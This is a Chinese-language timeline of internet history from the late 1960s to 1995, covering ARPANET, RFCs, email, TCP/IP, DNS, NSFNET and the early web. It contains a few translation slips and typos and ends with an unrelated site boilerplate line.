位于英国Middlesex的国家物理实验室(NDL)在D. W. Davies的主持下开发了国家物理实验室数据网络,D. W. Davies
是首先使用"包"(packet)这个术语的人。NDL网络是一个包交换的实验网络,它使用了768kpbs的通信线路。
1968
向高级研究计划局(ARPA)演示包交换网络。
8月递交有关ARPANET的建议书,9月受到回应。
10月,加州大学洛杉矶分校(UCLA)获得建立网络测量中心的合同。
Bolt Beranek and Newman、Inc.公司(BBN)获得建立接口消息处理机(IMP)中的包交换部分的合同。
美国参议员Edward Kennedy向BBN公司发出祝贺电报,祝贺他们从ARPA处获得百万美圆的合同来建造"Interfaith"(他的笔误,应为"Interface"接口)消息处理机,并感谢他们的努力。
以Steve Crocker为首的松散组织,网络工作组(NWG),开始开发用于APRANET通信的主机一级的协议。
1969
美国国防部委托开发ARPANET,进行联网的研究。
使用BBN公司开发的接口消息处理器IMP建立节点(配有12K存储器的Honeywell DDP-516小型计算机);AT&T公司提供速率为50kpbs的通信线路。
节点1:UCLA(8月30日,9月2日接入)
功能:网络测量中心
主机、操作系统:SDS SIGMA 7、SEX
节点2:斯坦福研究院(SRI)(10月1日)
功能:网络信息中心(NIC)
主机、操作系统:SDS940、Genie
Doug Engelbart有关"Augmentation of Human Intellect"的计划
节点3:加州大学圣巴巴拉分校(UCSB)(11月1日)
功能:Culler-Fried交互式数学
主机、操作系统:IBM 360/75、OS/MVT
节点4:Utah大学(12月)
功能:图形处理
主机、操作系统:DEC PDP-10、Tenex
由Steve Crocker编写的第一份RFC文件"Host Software"(4月7日)。
REC 4:Network Timetable
UCLA的Charley Kline试图登录到SRI上,发出了第一个数据包,他的第一次尝试在键入LOGIN的G的时候引起了系统的崩溃。(10月20日或者29日,需查实)
密西根州的密西根大学和怀俄明州立大学为他们的学生、教师及校友建立了基于X.25的Merit网络。
70年代
1970
第一份有关最初的ARPANET主机-主机间通信协议的出版物:C.S. Carr、S. Crocker和V.G. Cerf的"HOST- HOST Communication Protocol in the ARPA Network",发表于AFIPS的SJCC会议论文集上。
AFIPS的第一篇有关ARPANET的报告:"Computer Network Development to Achieve Resource Sharing"(3月)
夏威夷大学的Norman Abrahamson开发的第一个包交换无线网络ALOHAnet开始运行(7月)。
1972年与ARPANET相连。
ARPANET的主机开始使用第一个主机-主机间协议,网络控制协议(NCP)。
AT&T在UCLA和BBN之间建成了第一个跨国家连接的56kbps的通信线路。这条线路后来被BBN和RAND间的另一条线路取代。第二条线路连接MIT和Utah大学。
1971
ARPANET上连接了15个节点(23台主机):UCLA、SRI、UCSB、Univ of Utah、BBN、MIT、RAND、SDC、Harvard、Lincoln Lab、Stanford、UIU(C)、CWRU、CMU、NASA/Ames。
BBN开始使用更便宜的Honeywell 316来构造IMP。但由于IMP有只能连接4台主机的限制,BBN开始研究能支持64台主机的终端型IMP(TIP)。(9月)
BBN的Ray Tomlinson发明了通过分布式网络发送消息的email程序。最初的程序由两部分构成:同一机器内部的email程序(SENDMSG)和一个实验性的文件传输程序(CPYNET)。
1972
BBN的Ray Tomlinson为ARPANET修改了email程序,这个程序变得非常热门。Tomlinson的33型电传打字机选用"@"作为代表"在"的含义的标点符号(3月)
Larry Roberts写出了第一个email管理程序(RD),可以将信件列表、有选择地阅读、转存文件、转发和回复。(7月)
由Bob Kahn组织的计算机通信国际会议(ICCC)在华盛顿特区的Hilton饭店召开,会上演示了由40台计算机和终端接口处理机(TIP)组成的ARPANET。(10月)
在ICCC大会期间,精神科病人PARRY(在Stanford)与医生(在BBN)第一次使用计算机-计算机间聊天的形式讨论了病情。
ICCC大会认为高级联网技术需要进一步共同合作,导致在10月成立了国际网络工作组(INWG),Vinton Cerf被指定担任第一届主席。到了1974年,INWG成为IFIP的6.1工作组。
Louis Pouzin领导建立法国自己的ARPANET-CYCLADES。
RFC 318:Telnet specification
1973
ARPANET首次进行国际联网:伦敦大学(英国)和NORSAR(挪威)。
Harvard大学Bob Metcalfe的博士论文首先提出了以太网的概念。他的概念在Xerox公司的PARC的Alto计算机上进行了测试,第一个以太网叫做Alto Aloha System(5月)。
Bob Kahn提出了建立Internet的问题,并开始在ARPA进行网络互连的研究。3月,Vinton Cerf在旧金山一个饭店的大堂里,将网关体系结构的草图画在一个信封的背面。
9月,在英国伯明翰的Sussex大学召开的INWG会议上Cerf和Kahn提出了Internet的基本概念。
RFC 454:File Transfer specification
网络声音协议(NVP)规范(RFC 741)及其实现使通过ARPAnet上召开会议通知成为可能。
SRI(NIC)在3月开始出版ARPANET新闻;据估计ARPANET用户有2000人。
ARPA研究显示在ARPANET的通信量中email占了75%。
圣诞节死锁-- Harvard的IMP硬件故障导致它向所有的ARPANET节点发出了长度为0的广播信息,造成所有其他的IMP都将它们的通信转向Harvard。(12月25日)
RFC 527: ARPAWOCKY
RFC 602: The Stockings Were Hung by the Chimney with Care
1974
Vinton Cerf和Bob Kahn发表了论文"A Protocol for Packet Network Interconnection",文中对TCP协议的设计作了详细的描述。[IEEE Trans Comm]
BBN开始提供ARPANET上第一个公共包数据服务Telenet(ARPANET的一个商业版本)。
1975
DCA(现在是DISA)接管Internet的运行管理。
Steve Walker建立ARPANET第一个邮件抄送表(mailing list)MsgGroup,因为最初该表不是自动管理的,Einar Stefferud很快接受成为它的管理者。一个有关科幻小说的抄送表SF-Lovers成为早期最受欢迎的非官方抄送表。
John Vittal开发研制了全功能email程序MSG,它具有邮件回复、转发、归档功能。
跨越两大洋的人造卫星连接(连接夏威夷和英国),第一次通过它进行的TCP测试是Stanford、BBN和UCL进行的。
SAIL的Raphael Finkel编写的"Jargon File"第一次发布。
John Brunner出版科幻小说"The Shockwave Rider"。
1976
2月,英国女王伊丽莎白二世在Malvern的皇家信号与雷达研究院(RSRE)发出一封电子邮件。
AT&T的Bell实验室开发了UUCP(Unix到Unix文件拷贝),并于第二年同UNIX一同发行。
开发出多处理器多总线IMP。
1977
美国威斯康星大学(Wisconsin)的Larry Landweber开发了THEORYNET,为超过100名计算机科学家提供电子邮件服务(使用他们自己开发的基于TELENET的email系统)。
RFC 733:Mail specification
Tymshare公司发表Tymnet。
7月,举行了运行Internet协议的ARPANET/旧金山湾无线包交换网/大西洋SANNET演示会,演示会采用了BBN提供的网关。
1978
TCP分解成TCP和IP两个协议。(3月)
RFC 748:TELNET RANDOMLY-LOSE Option
1979
来自威斯康星大学、DARPA、美国国家科学基金会(NSF)以及许多其他大学的计算机科学家召开会议,计划建立一个连接各学校计算机系的网络(会议由Larry Landweber组织)。
Tom Truscott和Steve Bellovin使用UUCP协议建立了连接Duke大学和UNC的USENET,最初USENET只包括net.新闻组。
Essex大学的Richard Bartle和Roy Trubshaw开发了第一个多人参与的游戏MUD,它被称做MUD1。
ARPA建立了Internet结构控制委员会(ICCB)。
在DARPA的资助下开始进行无线包交换网(PRNET)的实验,它主要用于汽车之间的通信。ARPANET通过SRI进行连接。
4月12日,Kevin MacKenzie向MsgGroup发出email,建议在email的枯燥单调文字中加入一些表情符号,比如-)表示伸出舌头。他的建议多次引起争论,最后被广泛应用。
80年代
1980
10月27日,由于一种状态信息病毒出人意料的自我繁殖,ARPANET完全停止运行。
BBN的第一部基于C/30的IMP。
1981
BITNET,"Because It’s Time NETwork"。
首先美国纽约市立大学建立的合作网络,连接的第一个节点是耶鲁大学。
根据同IBM系统一道提供的免费NJE协议,最初名字缩写中的"T"代表的是"There"而不是"Time"。
提供电子邮件服务、建立了电子论坛服务器来传播信息,还提供文件传输服务。
由美国国家科学基金会提供启动资金,Univ of Delaware、Purdue Univ、Univ of Wisconsin、RAND公司和BBN的计算机科学家们合作建立了CSNET(计算机科学网络),为那些不能与ARPANET连接的科学家提供网络服务(主要是电子邮件服务)。CSNET后来又被称为计算机与科学网络。
基于C/30的IMP在网络中占主导地位;SAC的第一部急于C/30的TIP。
法国Telecom公司在法国全境部署Minitel(Teletel)网。
Vernor Vinge出版小说"True Names"。
RFC 801: NCP/TCP Transition Plan
1982
挪威采用TCP/IP协议,经SANNET接入Internet;UCL也以同样的方式接入。
DCA和ARPA为ARPANET制定传输控制协议(TCP)和网际协议(IP),作为一组协议,通常称为TCP/IP协议。
由此第一次引出了关于互连网络的定义,即将"internet"定义为使用TCP/IP连接起来的一组网络;"Internet"则是通**过TCP/IP协议连接起来的"internet"。
美国国防部(DoD)宣布将TCP/IP协议作为DoD标准网络协议。
EUUG建立EUnet(欧洲Unix网),提供email和USENET服务。
最初连接的国家有荷兰、丹麦、瑞典和英国。
外部网关协议(EGP,RFC 827),EGP用于网络间的网关。
1983
美国威斯康星大学开发了名字服务器,这样,用户不需要了解到另一个节点的确切路径就可以与其进行通信。
ARPANET从NCP协议切换为TCP/IP协议。(1月1日)
不再使用Honeywell或者多总线(Pluribus)IMP,TIP被TAC(terminal access controller,终端访问控制机)代替。
Stuttgart和韩国上网。
年初欧洲开始建立运动信息网(MINET),9月接入Internet。
CSNET与ARPANET的网关开始启用。
ARPANET分成ARPANET和MILNET两部分,后者并入1982年建立的国防数据网。现存113个节点中的68个进入MILNET。
开始出现工作站,它们大多使用包含有IP网络协议的Berkeley Unix(4.2 BSD)操作系统。
连网需求从每个节点单独的大型分时计算机系统与Internet相连转为将一个局域网络与Internet相连。
建立Internet行动委员会(IAB),取代了ICCB。
EARN(欧洲科学研究网)建立,它同BITNET非常相似,使用IBM公司赞助的网关硬件。
Tom Jennings建立Fidonet。
1984
引入名字服务器系统(DNS)。
主机数超过1,000。
使用UUCP协议的JUNET(日本Unix网)建成。
英国使用Coloured Book协议建成JANET(联合学术网),就是以前的SERCnet。
USENET建立人工管理新闻组。
William Gibson完成Neuromancer。
加拿大开始用一年的时间将大学连网的努力。从多伦多向Ithaca连接,NetNorth Network连入BITNET。
Kremvax的消息宣布苏联连入USENET。
1985
全球电子连接(WELL)开始提供服务。
原由DCA和SRI负责的DNS根域名管理的职责移交给USC的信息科学学院(ISI),负责进行DNS NIC的注册管理。
3月15日Symbolics.com成为第一个登记的域名。最初的其他几个域名是:cmu.edu、purdue.edu、rice.edu、ucla.edu(4月);css.gov(6月);mitre.org、.uk(7月)。
加拿大横跨东西海岸的铁路铺设用了100年的时间,而从开始到最后一个加拿大的大学连入NetNorth只用了1年的时间。
RFC 968:’Twas the Night Before Start-up
1986
NSFnet建成(主干网速率为56K bps)。
NSF在美国建立了五个超级计算中心,为所有用户提供强大的计算能力。(Princeton的JVNC,Pittsburgh的PSC,UCSD的SDSC,UIUC的NCSA,Cornell的Theory Center)
这掀起了一个与Internet连接的高潮,尤其是各大学。
NSF资助的SDSCNET、JVNCNET、SURANET、NYSERNET开始运营。
IAB成立Internet工程特别工作(IETF)和Internet研究特别工作组。IETF第一次会议1月在San Diego的Linkabit召开。
在公共计算协会(SoPAC)的赞助下,7月16日第一次Freenet会议上网召开(Cleveland)。Freenet后续议程的管理由1989年国家公共远程计算网络(NPTN)负责管理。
为提高USENET新闻在TCP/IP网络上的传输效率,制定了网络新闻传输协议(NNTP)。
为使非IP网络拥有域地址,Craig Partridge开发了邮件交换器(MX)记录。
USENET更名,它的人工管理新闻组1987年更名。
使用高速连接线路的BARRNET(海湾地区研究网络)建成并与1987年开始运营。
AT&T公司在新泽西州的Newark和纽约州的White Plains之间的传输光纤线路中断,导致新英格兰州州与Internet的连接中断。新英格兰州的7条ARPANET主干网都连在一起,它们在12月12日东部时间1:11到12:11间停止运行。
1987
NSF签定合作协议,将NSFnet主干网的管理权移交给Merit网络公司(IBM公司和MCI公司又同Merit公司签定协议,三家共同参与管理)。IBM公司、MCI公司、Merit公司后来联合成立了ANS。
在Usenix基金的支持下建立了UUNET,提供商业的UUCP服务和USENET服务。最初的UUNET实验由Rick Adams和Mike O’Dell完成。
3月,第一届TCP/IP Interoperability会议召开。1988年会议改名为INTEROP。
在德国和中国间采用CSNET协议建立了email连接,9月20日从中国发出了第一封信。
第1000份RFC文件:"Request For Comments reference guide"。
主机数超过10,000。
BITNET的主机数超过1,000。
1988
11月2日- Internet蠕虫在Internet上蔓延,全部60,000个节点中的大约6,000个节点受到影响。
莫立斯蠕虫事件促使DARPA建立了CERT(计算机危机快速反应小组)以应付此类事件。蠕虫是CERT年内受到咨询的唯一的一件事情。
美国国防部采纳OSI协议,将TCP/IP作为过渡。美国的政府OSI大纲(GOSIP)公布了美国政府部门采购的产品所必须支持的一组协议。
在没有使用联邦基金的情况下建立了Los Nettos网络,网络由当地的一些机构(包括Caltech、TIS、UCLA、USC、ISI)支持。
NSFNET主干网速率升级到T1(1.544M bps)。
在Susan Estrada资助下建立了CERFnet(加里福尼亚教育与研究联合网)。
12月以Jon Postel为首的Internet Assigned Numbers Authority(IANA)成立。Postel多年来还是REC文件编辑和美国域名注册管理者。
Jarkko Oikarinen开发了Internet网上聊天(IRC)。
加拿大的地区网络第一次连入NSFNET:ONet通过Cornell、RISQ通过Princeton、BCnet通过华盛顿大学。
FidoNet连入Internet,可以交换email和网络新闻。
1988年夏季在Stanford和BBN间建立了第一个多址传送通道。
连入NSFNET的国家:加拿大(CA)、丹麦(DK)、芬兰(FI)、法国(FR)、冰岛(IC)、挪威(NO)、瑞典(SE)。
1989
主机数超过100,000。
欧洲提供Internet服务的公司建立了RIPE(Reseaux IP Europeens),为泛欧洲的IP网络提供管理和技术上的支持。
商业电子邮件系统第一次同Internet进行邮件接力传递:MCI邮递公司通过National Research Initiative(CNRI)、*Compuserv通过Ohio大学进行邮件交换。
CSNET并入BITNET,成立了研究与教育合作网(CREN)。(8月)
AARNET-澳大利亚科学研究网-由AVCC和CSIRO建立,并于第二年年开始提供服务。
Clifford Stoll完成了"布谷鸟的蛋"一书,讲述了关于德国的一个密码破译小组通过网络入侵到美国的多台计算机设施中的真实故事。
UCLA资助Act One研讨会,以庆祝ARPANET建成20周年和它的功成身退。(8月)
RFC 1121: Act One- The Poems
RFC 1097: TELNET SUBLIMINAL-MESSAGE Option
连入NSFNET的国家:澳大利亚(AU)、德国(DE)、以色列(IL)、意大利(IT)、日本(JP)、墨西哥(MX)、荷兰(NL)、新西兰(NZ)、波多黎哥(PR)、英国(UK)。
90年代
1990
ARPANET停止运营。 Mitch Kapor组建Electronic Frontier Foundation(EFF)。 McGill大学的Peter Deutsch,Alan Emtage和Bill Heelan发布了archie。 Peter Scott(Saskatchewan大学)发布了Hytelnet。世界在线(world.std.com)成为第一个Internet电话拨号接入服务提供商。 ISO开发环境(ISODE)为DoD提供了向OSI协议转移的手段。ISODE软件允许在TCP/IP协议环境下运行OSI应用程序。(:gck:)加拿大10个地区性的网络组成了CA$*$net,作为加拿大的国家主干网与NSFNET直接相连。(:ec1:)第一台远程操作的机器,John Romkey的Internet烤面包机(通过SNMP协议对它进行控制),接入Internet,并在Interop会议上初次亮相。图片:Internode、Invisible。 RFC 1149: A Standard for the Transmission of IP Datagrams on Avian Carriers RFC 1178: Choosing a Name for Your Computer连入NSFNET的国家:阿根廷(AR)、奥地利(AT)、比利时(BE)、巴西(BR)、智利(CL)、希腊(GR)、印度(IN)、爱尔兰(IE)、韩国(KR)、西班牙(ES)、瑞士(CH)。
1991
General Atomics(CERFnet),Performance Systems International,Inc.(PSInet)和UUNET Technologies,Inc.(AlterNet)在NSF解除了Internet商业应用的限制后联合组建Commercial Internet eXchange Association,Inc.(CIX)公司。(3月) Thinking Machines公司发布由Brewster Kahle发明的广域消息服务器(WAIS)。美国明尼苏达大学的Paul Lindner和Mark P. McCahill发布Gopher。 CERN发布World-Wide Web(WWW),开发者为 Tim Berners-Lee。(:pb1:) Philip Zimmerman发布PGP(Pretty Good Privacy)。(:ad1:)根据美国高性能计算条例(Gore 1),建立了国家研究与教育网(NREN)。 NSFNET主干网速率升级到T3(44.736M bps)。 NSFNET的通信量达到10^12字节/月和10^10包/月。 DISA与Government Systems Inc签定合同,在5月由后者接替SRI成为美国国防数据网的NIC。 JANET IP服务(JIPS)开始运营,标志着英国学术网所使用的软件从Coloured Book转向TCP/IP。IP协议最初是在X.25协议内部转换的。(:gst:) RFC 1216: Gigabit Network Economics and Paradigm Shifts RFC 1217: Memo from the Consortium for Slow Commotion Research(CSCR)连入NSFNET的国家和地区:克罗地亚(HR)、捷克共和国(CZ)、中国香港(HK)、匈牙利(HU)、波兰(PL)、葡萄牙(PT)、新加坡(SG)、南非(ZA)、中国台湾(TW)、突尼斯(TN)。
1992
Internet协会(ISOC)成立。(1月) IAB更名为Internet Architecture Board,并成为Internet协会的一部分。主机数超过1,000,000。第一次进行MBONE音频广播(3月)和视频广播(11月)。 4月,RIPE的Network Coordination Center(NCC)建立,向欧洲的Internet用户提供地址注册和协调服务。(:dk1:) Nevada大学发布了gopher空间查询工具Veronica。世界银行提供在线服务。 Jean Armour Polly创造术语"网络冲浪"("surfing the Internet")。(:jap:) Brendan Kehoe出版"Zen and the Art of the Internet"一书。(:jap:) Rick Gates开始提供Internet Hunt测验。 RFC 1300: Remembrances of Things Past RFC 1313: Today’s Programming for KRFC AM 1313- Internet Talk Radio连入NSFNET的国家:南极洲(AQ)、喀麦隆(CM)、塞浦路斯(CY)、厄瓜多尔(EC)、爱沙尼亚(EE)、科威特(KW)、拉脱维亚(LV)、卢森堡(LU)、马来西亚(MY)、斯洛伐克(SK)、斯洛文尼亚(SI)、泰国(TH)、委内瑞拉(VE)。
1993
NSF建立InterNIC,提供以下Internet服务:(:sc1:)目录和数据库服务(AT&T)。注册服务(Network Solutions Inc.)。信息服务(General Atomics Inc./CERFnet)。美国白宫提供在线服务(http://www.whitehouse.gov/):总统Bill Clinton:president@whitehouse.gov副总统Al Gore:vice-president@whitehouse.gov新的蠕虫在Internet上发现他们的生存空间-出现了WWW蠕虫(W4),接着出现了蜘蛛、漫游者、爬虫和蛇等... Internet Talk Radio开始播音。(:sk2:)联合国提供在线服务。(:vgc:)美国国家信息基础设施(NII)条例。 Internet开始引起商业界和新闻媒体的注意。 9月,日本的InterCon International KK(IIKK)第一次提供商业Internet接入,从第二个月开始,TWICS租用IIKK的线路开始提供电话拨号上网帐号。(:tb1:) Internet刮起Mosaic旋风,WWW在Internet上的通信量的年增长率达到341,634%。gopher的年增长率是997%。 RFC 1437: The Extension of MIME Content-Types to a New Medium RFC 1438: IETF Statements of Boredom(SOBs)连入NSFNET的国家:保加利亚(BG)、哥斯达黎加(CR)、埃及(EG)、斐济(FJ)、加纳(GH)、关岛(GU)、印度尼西亚(ID)、哈萨克斯坦(KZ)、肯尼亚(KE)、列支敦士登(LI)、秘鲁(PE)、罗马尼亚(RO)、俄罗斯联邦(RU)、土耳其(TR)、乌克兰(UA)、阿联酋(AE)、美国维尔京群岛(VI)。
1994
庆祝ARPANET/Internet诞生25周年。社区开始直接连入Internet(美国Mass的Lexington and Cambridge社区)。美国参议院和美国众议院开始提供信息服务。购物中心上网。第一家网上电台RT-FM开始在Las Vegas的Interop会议上播音。美国标准与技术研究院(NIST)建议GOSIP放弃"只使用OSI协议标准"的原则,而采纳TCP/IP协议。(:gck:)美国Arizona州的Canter& Siegel法律事务所在Internet发出大量"垃圾"email广告以推销其绿卡业务,网络用户愤怒地予以回应。 NSFNET的通信量达到10^13字节/月。通过Hut online可直接订购比萨饼。根据在NSFNET上传输的包和字节数所占的百分数,WWW超过telnet成为Internet上第二种最受欢迎的服务(最受欢迎的服务是文件传输)。日本首相提供在线服务(http://www.kantei.go.jp/)。英国财政大臣提供在线服务(http://www.hm-treasury.gov.uk/)。新西兰总理提供在线服务(http://www.govt.nz/)。第一家网上银行First Virtual开始营业。电台开始在网上提供不间断摇滚乐广播:Univ of NC的WXYC、Univ of KS-Lawrence的WJHK、Western WA Univ的WJHK。 RARE和EARN合并成立了欧洲科研与教育网联盟(TERENA),它包括了38个国家、CERN及ECMWF。TERENA的目标是"推动并参与国际高性能的信息与远程通信基础设施的开发,为科研与教育服务"。(10月) Bill Woodcock和Jon Postel注意到在很多的网络软件商家的文档例子中使用domain.com这个域名,于是他们就注册了这个域名。果然,经过分析域访问日志文件,他们发现有很多用户使用例子中的"domain.com"域名来配置他们的应用软件。 RFC 1605: SONET to Sonnet Translation RFC 1606: A Historical Perspective On The Usage Of IP Version 9 RFC 1607: A VIEW FROM THE 21ST CENTURY连入NSFNET的国家和地区:阿尔及利亚(DZ)、亚美尼亚(AM)、百慕大(BM)、布几纳法索(BF)、中国(CN)、哥伦比亚(CO)、牙买加(JM)、约旦(JO)、黎巴嫩(LB)、立陶宛(LT)、中国澳门(MO)、摩洛哥(MA)、新喀里多尼亚、尼加拉瓜(NI)、尼日尔(NE)、巴拿马(PA)、菲律宾(PH)、塞内加尔(SN)、斯里兰卡(LK)、瑞士(SZ)、乌拉圭(UY)、乌兹别克斯坦(UZ)。按主机数目排名前10的域名:com、edu、uk、gov、de、ca、mil、au、org、net
1995
NSFNET恢复成为学术网络,美国大部分的主干网业务由互联的网络服务提供商办理。 NSF建立超高速主干网服务(vBNS),连接超级计算中心:NCAR、NCSA、SDSC、CTC、PSC,新的NSFNET诞生。香港警方为了搜捕一个计算机"黑客(hacker)",除了本地的一个Internet供应商外,关闭了所有的Internet供应商,使10,000人无法使用网络。 5月23日,Sun公司发布JAVA。使用音频流技术的RealAudio使在网上可以收听到接近于真实的声音
好了,文章到这里就结束啦,如果本次分享的eff 什么java的和java md5问题对您有所帮助,还望关注下本站哦!